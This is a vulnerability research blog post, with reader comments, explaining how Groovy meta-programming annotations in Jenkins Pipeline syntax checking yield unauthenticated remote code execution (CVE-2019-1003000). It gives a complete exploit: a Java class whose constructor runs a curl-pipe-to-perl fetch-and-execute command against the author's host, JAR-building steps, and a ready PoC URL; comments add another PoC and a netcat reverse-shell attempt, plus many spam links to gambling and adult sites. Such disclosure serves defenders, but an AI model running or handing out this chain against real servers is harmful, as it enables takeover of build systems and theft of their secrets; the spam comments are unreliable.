2019年2月19日 星期二

Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!



This is also a cross-post blog from DEVCORE, this post is in English, 而這裡是中文版本!
#2019-02-22-updated
#2019-05-10-updated
#2019-05-10-released-exploit code awesome-jenkins-rce-2019
#2019-07-02-updated the slides is out!
---


Hello everyone!

This is the Hacking Jenkins series part two! For those people who still have not read the part one yet, you can check following link to get some basis and see how vulnerable Jenkins’ dynamic routing is!
As the previous article said, in order to utilize the vulnerability, we want to find a code execution can be chained with the ACL bypass vulnerability to a well-deserved pre-auth remote code execution! But, I failed. Due to the feature of dynamic routing, Jenkins checks the permission again before most dangerous invocations(Such as the Script Console)! Although we could bypass the first ACL, we still can’t do much things :(

After Jenkins released the Security Advisory and fixed the dynamic routing vulnerability on 2018-12-05, I started to organize my notes in order to write this Hacking Jenkins series. While reviewing notes, I found another exploitation way on a gadget that I failed to exploit before! Therefore, the part two is the story for that! This is also one of my favorite exploits and is really worth reading :)

Vulnerability Analysis


First, we start from the Jenkins Pipeline to explain CVE-2019-1003000! Generally the reason why people choose Jenkins is that Jenkins provides a powerful Pipeline feature, which makes writing scripts for software building, testing and delivering easier! You can imagine Pipeline is just a powerful language to manipulate the Jenkins(In fact, Pipeline is a DSL built with Groovy)

In order to check whether the syntax of user-supplied scripts is correct or not, Jenkins provides an interface for developers! Just think about if you are the developer, how will you implement this syntax-error-checking function? You can just write an AST(Abstract Syntax Tree) parser by yourself, but it’s too tough. So the easiest way is to reuse existing function and library!

As we mentioned before, Pipeline is just a DSL built with Groovy, so Pipeline must follow the Groovy syntax! If the Groovy parser can deal with the Pipeline script without errors, the syntax must be correct! The code fragments here shows how Jenkins validates the Pipeline:

public JSON doCheckScriptCompile(@QueryParameter String value) {
    try {
        CpsGroovyShell trusted = new CpsGroovyShellFactory(null).forTrusted().build();
        new CpsGroovyShellFactory(null).withParent(trusted).build().getClassLoader().parseClass(value);
    } catch (CompilationFailedException x) {
        return JSONArray.fromObject(CpsFlowDefinitionValidator.toCheckStatus(x).toArray());
    }
    return CpsFlowDefinitionValidator.CheckStatus.SUCCESS.asJSON();
    // Approval requirements are managed by regular stapler form validation (via doCheckScript)
}

Here Jenkins validates the Pipeline with the method GroovyClassLoader.parseClass(…)! It should be noted that this is just an AST parsing. Without running execute() method, any dangerous invocation won’t be executed! If you try to parse the following Groovy script, you get nothing :(

this.class.classLoader.parseClass('''
print java.lang.Runtime.getRuntime().exec("id")
''');

From the view of developers, the Pipeline can control Jenkins, so it must be dangerous and requires a strict permission check before every Pipeline invocation! However, this is just a simple syntax validation so the permission check here is more less than usual! Without any execute() method, it’s just an AST parser and must be safe! This is what I thought when the first time I saw this validation. However, while I was writing the technique blog, Meta-Programming flashed into my mind!

What is Meta-Programming



Meta-Programming is a kind of programming concept! The idea of Meta-Programming is providing an abstract layer for programmers to consider the program in a different way, and makes the program more flexible and efficient! There is no clear definition of Meta-Programming. In general, both processing the program by itself and writing programs that operate on other programs(compiler, interpreter or preprocessor…) are Meta-Programming! The philosophy here is very profound and could even be a big subject on Programming Language!

If it is still hard to understand, you can just regard eval(...) as another Meta-Programming, which lets you operate the program on the fly. Although it’s a little bit inaccurate, it’s still a good metaphor for understanding! In software engineering, there are also lots of techniques related to Meta-Programming. For example:
  • C Macro
  • C++ Template
  • Java Annotation
  • Ruby (Ruby is a Meta-Programming friendly language, even there are books for that)
  • DSL(Domain Specific Languages, such as Sinatra and Gradle)

When we are talking about Meta-Programming, we classify it into (1)compile-time and (2)run-time Meta-Programming according to the scope. Today, we focus on the compile-time Meta-Programming!


P.S. It’s hard to explain Meta-Programming in non-native language. If you are interested, here are some materials! Wiki, Ref1, Ref2
P.S. I am not a programming language master, if there is anything incorrect or inaccurate, please forgive me <(_ _)>

How to Exploit?


From the previous section we know Jenkins validates Pipeline by parseClass(…) and learn that Meta-Programming can poke the parser during compile-time! Compiling(or parsing) is a hard work with lots of tough things and hidden features. So, the idea is, is there any side effect we can leverage?

There are many simple cases which have proved Meta-Programming can make the program vulnerable, such as he macro expansion in C language:

#define a 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
#define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a
#define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,b
#define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c
#define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d
#define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,e
__int128 x[]={f,f,f,f,f,f,f,f};

or the compiler resource bomb(make a 16GB ELF by just 18 bytes):

int main[-1u]={1};

or calculating the Fibonacci number by compiler

template<int n>
struct fib {
    static const int value = fib<n-1>::value + fib<n-2>::value;
};
template<> struct fib<0> { static const int value = 0; };
template<> struct fib<1> { static const int value = 1; };

int main() {
    int a = fib<10>::value; // 55
    int b = fib<20>::value; // 6765
    int c = fib<40>::value; // 102334155
}

From the assembly language of compiled binary, we can make sure the result is calculated at compile-time, not run-time!

$ g++ template.cpp -o template
$ objdump -M intel -d template
...
00000000000005fa <main>:
 5fa:   55                      push   rbp
 5fb:   48 89 e5                mov    rbp,rsp
 5fe:   c7 45 f4 37 00 00 00    mov    DWORD PTR [rbp-0xc],0x37
 605:   c7 45 f8 6d 1a 00 00    mov    DWORD PTR [rbp-0x8],0x1a6d
 60c:   c7 45 fc cb 7e 19 06    mov    DWORD PTR [rbp-0x4],0x6197ecb
 613:   b8 00 00 00 00          mov    eax,0x0
 618:   5d                      pop    rbp
 619:   c3                      ret
 61a:   66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]
...

For more examples, you can refer to the article Build a Compiler Bomb on StackOverflow!

First Attempt

Back to our exploitation, Pipeline is just a DSL built with Groovy, and Groovy is also a Meta-Programming friendly language. We start reading the Groovy official Meta-Programming manual to find some exploitation ways. In the section 2.1.9, we found the @groovy.transform.ASTTest annotation. Here is its description:

@ASTTest is a special AST transformation meant to help debugging other AST transformations or the Groovy compiler itself. It will let the developer “explore” the AST during compilation and perform assertions on the AST rather than on the result of compilation. This means that this AST transformations gives access to the AST before the Bytecode is produced. @ASTTest can be placed on any annotable node and requires two parameters:

What! perform assertions on the AST? Isn’t that what we want? Let’s write a simple Proof-of-Concept in local environment first:

this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
    assert java.lang.Runtime.getRuntime().exec("touch pwned")
})
def x
''');

$ ls
poc.groovy

$ groovy poc.groovy
$ ls
poc.groovy  pwned

Cool, it works! However, while reproducing this on the remote Jenkins, it shows:

unable to resolve class org.jenkinsci.plugins.workflow.libs.Library

What the hell!!! What’s wrong with that?

With a little bit digging, we found the root cause. This is caused by the Pipeline Shared Groovy Libraries Plugin! In order to reuse functions in Pipeline, Jenkins provides the feature that can import customized library into Pipeline! Jenkins will load this library before every executed Pipeline. As a result, the problem become lack of corresponding library in classPath during compile-time. That’s why the error unsable to resolve class occurs!

How to fix this problem? It’s simple! Just go to Jenkins Plugin Manager and remove the Pipeline Shared Groovy Libraries Plugin! It can fix the problem and then we can execute arbitrary code without any error! But, this is not a good solution because this plugin is installed along with the Pipeline. It’s lame to ask administrator to remove the plugin for code execution! We stop digging this and try to find another way!

Second Attempt

We continue reading the Groovy Meta-Programming manual and found another interesting annotation - @Grab. There is no detailed information about @Grab on the manual. However, we found another article - Dependency management with Grape on search engine!

Oh, from the article we know Grape is a built-in JAR dependency management in Groovy! It can help programmers import the library which are not in classPath. The usage looks like:

@Grab(group='org.springframework', module='spring-orm', version='3.2.5.RELEASE')
import org.springframework.jdbc.core.JdbcTemplate

By using @Grab annotation, it can import the JAR file which is not in classPath during compile-time automatically! If you just want to bypass the Pipeline sandbox via a valid credential and the permission of Pipeline execution, that’s enough. You can follow the PoC proveded by @adamyordan to execute arbitrary commands!

However, without a valid credential and execute() method, this is just an AST parser and you even can’t control files on remote server. So, what can we do? By diving into more about @Grab, we found another interesting annotation - @GrabResolver:

@GrabResolver(name='restlet', root='http://maven.restlet.org/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet

If you are smart enough, you would like to change the root parameter to a malicious website! Let’s try this in local environment:

this.class.classLoader.parseClass('''
@GrabResolver(name='restlet', root='http://orange.tw/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet
''')

11.22.33.44 - - [18/Dec/2018:18:56:54 +0800] "HEAD /org/restlet/org.restlet/1.1.6/org.restlet-1.1.6-javadoc.jar HTTP/1.1" 404 185 "-" "Apache Ivy/2.4.0"

Wow, it works! Now, we believe we can make Jenkins import any malicious library by Grape! However, the next problem is, how to get code execution?

The Way to Code Execution


In the exploitation, the target is always escalating the read primitive or write primitive to code execution! From the previous section, we can write malicious JAR file into remote Jenkins server by Grape. However, the next problem is how to execute code?

By diving into Grape implementation on Groovy, we realized the library fetching is done by the class groovy.grape.GrapeIvy! We started to find is there any way we can leverage, and we noticed an interesting method processOtherServices(…)!

void processOtherServices(ClassLoader loader, File f) {
    try {
        ZipFile zf = new ZipFile(f)
        ZipEntry serializedCategoryMethods = zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods")
        if (serializedCategoryMethods != null) {
            processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods))
        }
        ZipEntry pluginRunners = zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners")
        if (pluginRunners != null) {
            processRunners(zf.getInputStream(pluginRunners), f.getName(), loader)
        }
    } catch(ZipException ignore) {
        // ignore files we can't process, e.g. non-jar/zip artifacts
        // TODO log a warning
    }
}

JAR file is just a subset of ZIP format. In the processOtherServices(…), Grape registers servies if there are some specified entry points. Among them, the Runner interests me. By looking into the implementation of processRunners(…), we found this:

void processRunners(InputStream is, String name, ClassLoader loader) {
    is.text.readLines().each {
        GroovySystem.RUNNER_REGISTRY[name] = loader.loadClass(it.trim()).newInstance()
    }
}

Here we see the newInstance(). Does it mean that we can call Constructor on any class? Yes, so, we can just create a malicious JAR file, and put the class name into the file META-INF/services/org.codehaus.groovy.plugins.Runners and we can invoke the Constructor and execute arbitrary code!

Here is the full exploit:

public class Orange {
    public Orange(){
        try {
            String payload = "curl orange.tw/bc.pl | perl -";
            String[] cmds = {"/bin/bash", "-c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }

    }
}

$ javac Orange.java
$ mkdir -p META-INF/services/
$ echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
$ find .
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners

$ jar cvf poc-1.jar ./Orange.class /META-INF/
$ cp poc-1.jar ~/www/tw/orange/poc/1/
$ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar
HTTP/1.1 200 OK
Date: Sat, 02 Feb 2019 11:10:55 GMT
...

PoC:


http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;

Video:




Epilogue


With the exploit, we can gain full access on remote Jenkins server! We use Meta-Programming to import malicious JAR file during compile-time, and executing arbitrary code by the Runner service! Although there is a built-in Groovy Sandbox(Script Security Plugin) on Jenkins to protect the Pipeline, it’s useless because the vulnerability is in compile-time, not in run-time!

Because this is an attack vector on Groovy core, all methods related to the Groovy parser are affected! It breaks the developer’s thought which there is no execution so there is no problem. It is also an attack vector that requires the knowledge about computer science. Otherwise, you cannot think of the Meta-Programming! That’s what makes this vulnerability interesting. Aside from entry points doCheckScriptCompile(...) and toJson(...) I reported, after the vulnerability has been fixed, Mikhail Egorov also found another entry point quickly to trigger this vulnerability!

Apart from that, this vulnerability can also be chained with my previous exploit on Hacking Jenkins Part 1 to bypass the Overall/Read restriction to a well-deserved pre-auth remote code execution. If you fully understand the article, you know how to chain :P

Thank you for reading this article and hope you like it! Here is the end of Hacking Jenkins series, I will publish more interesting researches in the future :)


----
2019/07/02 updated

2019/05/10 updated


2019/02/22 updated

71 則留言:

  1. @orange tsai
    I have one question. how can I do without authentication?
    Perhaps, global pipeline libraries on jenkins setting?

    or ..

    it is pre-auth RCE?
    (The title of the video is pre-auth blah blah~ , so I think it needs authentication.)

    回覆刪除
  2. Thanks for the cool research!

    As I've found, there is no need to use metaprogramming to achieve RCE via checkScript, because groovy will instantiate classes when calling parseClass. Just use any class with a ctor as the body of the script (it is important that the script should only contain the class definition - in other cases the script will be wrapped with a class by the compiler and internal classes wouldn't be instantiated)

    The POC is as follows:
    public class Tst {
    public Tst()
    "your cmd here".execute()
    }
    }

    This was reported and fixed https://jenkins.io/security/advisory/2019-03-06/.

    回覆刪除
    回覆
    1. Oh! The another entry point of `checkScript` use `GroovyShell.parse` instead of `classLoader.parseClass`. Due to the GroovyShell, it can execute command without Meta-Programming.

      Cool finding!

      刪除
    2. Please elaborate on how this works, dont understand :)

      刪除
  3. 作者已經移除這則留言。

    回覆刪除
  4. 作者已經移除這則留言。

    回覆刪除
  5. 哈嘍 你好 orange團隊
    請問你們這邊能進行網站安全檢測的業務嗎
    我們這邊有幾個網站需要做安全檢測
    報酬可以按月算大概在80000-15W美元,也可以根據單量
    報酬可以更多,具體可以詳談,
    我的 telegram 是 @yyue819
    或者skype也是 yyue819
    有興趣的話,可以和我聯絡,謝謝
    請問你們有聯絡方式嗎,我也可以加你們

    真誠與您期待合作,共同發展

    hello orange team
    May I ask if you can conduct website security inspection
    We have several websites here that need to be tested for security
    The pay can be anywhere from $8 0000to $150000 per month, or depending on the unit
    The compensation can be more, and it can be discussed in detail,
    my telegram is @yyue819 and skype is yyue819
    If you are interested, please contact me. Thank you

    Sincerely look forward to cooperation and common development with you,and make money

    回覆刪除
  6. 請原諒我一次又一次在的你的博客評論下方進行重覆留言,我想與您的團隊取得聯繫

    回覆刪除
  7. Hmm, I am trying this on on virtual hacking labs. MSF module works fine but when I am fillowing manual steps then I replaced bc.pl with perl-reverse-shell from pentestmonkey and reverse shell just opens and dies in a second. Any guess what I am missing?

    nc -lvp 443
    listening on [any] 443 ...
    10.11.2.242: inverse host lookup failed: Unknown host
    connect to [172.16.1.3] from (UNKNOWN) [10.11.2.242] 54970

    回覆刪除
  8. I'm getting "405 Method Not Allowed" saying "This URL requires POST" but changing to POST didn't work.
    I think this host is not vulnerable but is there a way to confirm?

    回覆刪除
  9. Great Article it its really informative and innovative keep us posted with new updates. its was really valuable. thanks a lot. 한국야동

    Also feel free to visit may web page check this link 야설

    回覆刪除
  10. You make so many great points here that I read your article a couple of times. Your views are in accordance with my own for the most part. This is great content for your readers. 한국야동

    Also feel free to visit may web page check this link 야설

    回覆刪除
  11. Very useful information shared in this article, nicely written! I will be reading your articles and using the informative tips. Looking forward to read such knowledgeable articles 야동

    Also feel free to visit may web page check this link 국산야동

    回覆刪除
  12. Pretty good post. I just stumbled upon your blog and wanted to say that I have really enjoyed reading your blog posts. Any way I'll be subscribing to your feed and I hope you post again soon. Big thanks for the useful info. 국산야동

    Also feel free to visit may web page check this link 한국야동

    回覆刪除
  13. You make so many great points here that I read your article a couple of times. Your views are in accordance with my own for the most part. This is great content for your readers. 한국야동

    Also feel free to visit may web page check this link 야동

    回覆刪除
  14. It’s truly a nice and helpful piece of information. I’m happy that you simply shared this helpful information with us. 텍사스홀덤사이트

    回覆刪除
  15. Watch and Download world's famous Turkish action drama Kurulus Osman Season 3 in English on link below
    👇
    Kurulus Osman Season 3

    Kurulus Osman Season 3 Episode 1
    On link below
    Kurulus Osman Season 3 Episode 1

    Crypto trading course
    👇
    Crypto quantum leap

    YouTube course
    Be a professional YouTuber and start your carrier
    Tube Mastery and Monetization by matt

    回覆刪除
  16. Las Vegas' Wynn Plaza opens for business Jan. 31 - KTNV
    The Wynn Plaza hotel in 청주 출장샵 Las Vegas is gearing 포천 출장안마 up 광주 출장마사지 to open in phases this week as the resort casino 과천 출장안마 and nightclubs across the country 당진 출장안마

    回覆刪除
  17. Thanks for sharing the informative post. If you are looking the Linksys extender setup guidelines . so, we have a best technical expert for handlings your quires. for more information gets touch with us. If you would like to get much from this piece of writing then you have to apply these techniques to your won website.
    고스톱

    回覆刪除
  18. Nice post! This is a very nice blog that I will definitively come back to more times this year! Thanks for informative post.
    스포츠토토

    回覆刪除
  19. Thanks for this helpful article. Looking forward to having my portfolio. You can also read some of my great reviews about Best.
    This is very useful article. I will connect it back to your site though?
    성인웹툰

    回覆刪除
  20. Great writing to see, glad that google brought me here, Keep Up cool job
    If you are going for best contents like I do, simply go to see this website all the time as it provides feature contents, thanks!
    안전놀이터

    回覆刪除
  21. up to 20 times, making it another interesting and fun online slots game. Easy to play on mobile Play online slots with us today. Play PG SLOT
    through all mobile systems, both iOS and Android.

    回覆刪除
  22. superslot เกมสล็อตออนไลน์ เว็บตรงที่ดีที่สุดมีเกมสล็อตที่แตกง่ายที่สุดให้ท่านได้เลือกเล่นมากมาย ทดลองเล่นสล็อต ทุกค่ายเกม
    อาทิ PG SLOT , EVOPLAY , SLOTXO , PRAGMATIC PLAY , JILI GAME , RELAX GAMING , DAFABET , JOKER เราชื่อเว็บสล็อตเว็บตรงที่ให้บริการไม่ผ่าน agent สมัครซุปเปอร์สล็อต

    回覆刪除
  23. สล็อตโจ๊กเกอร์ ไปสนุกกับเกมสล็อตออนไลน์ ไปพร้อมๆกับความสนุกจากเว็บ สล็อต เว็บสล็อตออนไลน์ที่มีมากกว่าเกมสล็อต
    ที่จะพาผู้เล่นไปพบกับความเป็นที่สุดของที่สุดในสายคาสิโน สามารถ ทดลองเล่นสล็อต ได้แล้ววันนี้ทั้งในระบบ Android และ iOS

    回覆刪除
  24. Having a hard time looking for good and trusted site? I can offer you more and learn more by clicking the link : 파친코사이트 We have daebak event everyday!!

    回覆刪除
  25. Watch and Download world's famous Turkish action drama Kurulus Osman Season 3 in English on link below
    👇
    Kurulus Osman Season 3

    Kurulus Osman Season 3 Episode 1
    On link below
    Kurulus Osman Season 3 Episode 1

    Crypto trading course
    Join on link below
    Crypto quantum leap

    YouTube course
    Be a professional YouTuber and start your carrier
    Tube Mastery and Monetization by matt

    Best product for tooth pain ,
    Cavity ,
    Tooth decay ,
    And other oral issues
    Need of every home
    With discount
    And digistore money back guarantee
    Steel Bite Pro

    回覆刪除
  26. Wonderful story, reckoned we could combine a few unrelated data, nevertheless definitely really worth taking a search, whoa did one particular study about Mid East has got additional problerms at the same time 바카라사이트탑

    回覆刪除
  27. Your way of telling everything in this article is genuinely pleasant, all can easily understand it, Thanks a lot
    스포츠토토존

    回覆刪除
  28. From some point on, I am preparing to build my site while browsing various sites. It is now somewhat completed. If you are interested, please come to play with 바카라사이트비즈

    回覆刪除
  29. Hi there, I simply hopped over in your website by way of StumbleUpon. Now not one thing I’d typically learn, but I favored your emotions none the less. Thank you for making something worth reading. 메이저사이트순위

    回覆刪除
  30. I got know your article’s content and your article skill both are always good. Thanks for sharing this article this content is very significant for me I really appreciate you. 바카라사이트인포

    回覆刪除
  31. Very interesting, wish to see much more like this. Thanks for sharing your information! 바카라사이트윈

    回覆刪除
  32. Thank you for your information, i hope you will make more great content like this in the future
    cq9 สมัคร

    回覆刪除
  33. I had a lot of fun at this Olympics, but something was missing. I hope there's an audience next time.안전토토사이트

    回覆刪除
  34. really like reading through a post that can make people think. Also, many thanks for permitting me to comment!바둑이사이트

    回覆刪除
  35. I went over this site and I believe you have a lot of good info, saved to favorites (: My site:
    ติดต่อ fc slot

    回覆刪除
  36. I really enjoy your web’s topic. Very creative and friendly for users. Definitely bookmark this and follow it everyday.슬롯사이트

    回覆刪除
  37. Nice information, you write very nice articles, I visit your website for regular updates 파워볼사이트

    回覆刪除
  38. I really enjoy your web’s topic. Very creative and friendly for users. Definitely bookmark this and follow it everyday. 토토사이트

    回覆刪除
  39. สล็อต แหล่งรวมสล็อตทุกค่าย เกมสล็อตออนไลน์ เป็นผู้ให้บริการ คาสิโนออนไลน์สล็อตเว็บตรงรวมทุกค่ายและก็ทดลองเล่นสล็อตทุกค่ายฟรีคาสิโนออนไลน์ ที่เยี่ยมที่สุดในประเทศไทย mega game รวม เกม คาสิโน

    回覆刪除
  40. รับโปรโมชั่นสูงสุดทีเด็ดแทงบอล
    เกมสล็อตมีโอกาสได้รับเครดิตฟรีในการเข้าเล่น

    回覆刪除
  41. Howdy! Do you know if they make any plugins to assist with SEO? I’m trying to get my blog to rank for some targeted keywords but I’m not seeing very good results. If you know of any please share. Cheers! 먹튀검증커뮤니티

    回覆刪除
  42. Your post is very helpful and information is reliable. I am satisfied with your post. Thank you so much for sharing this wonderful post. If you have any assignment requirement then you are at the right place. 메이저사이트

    回覆刪除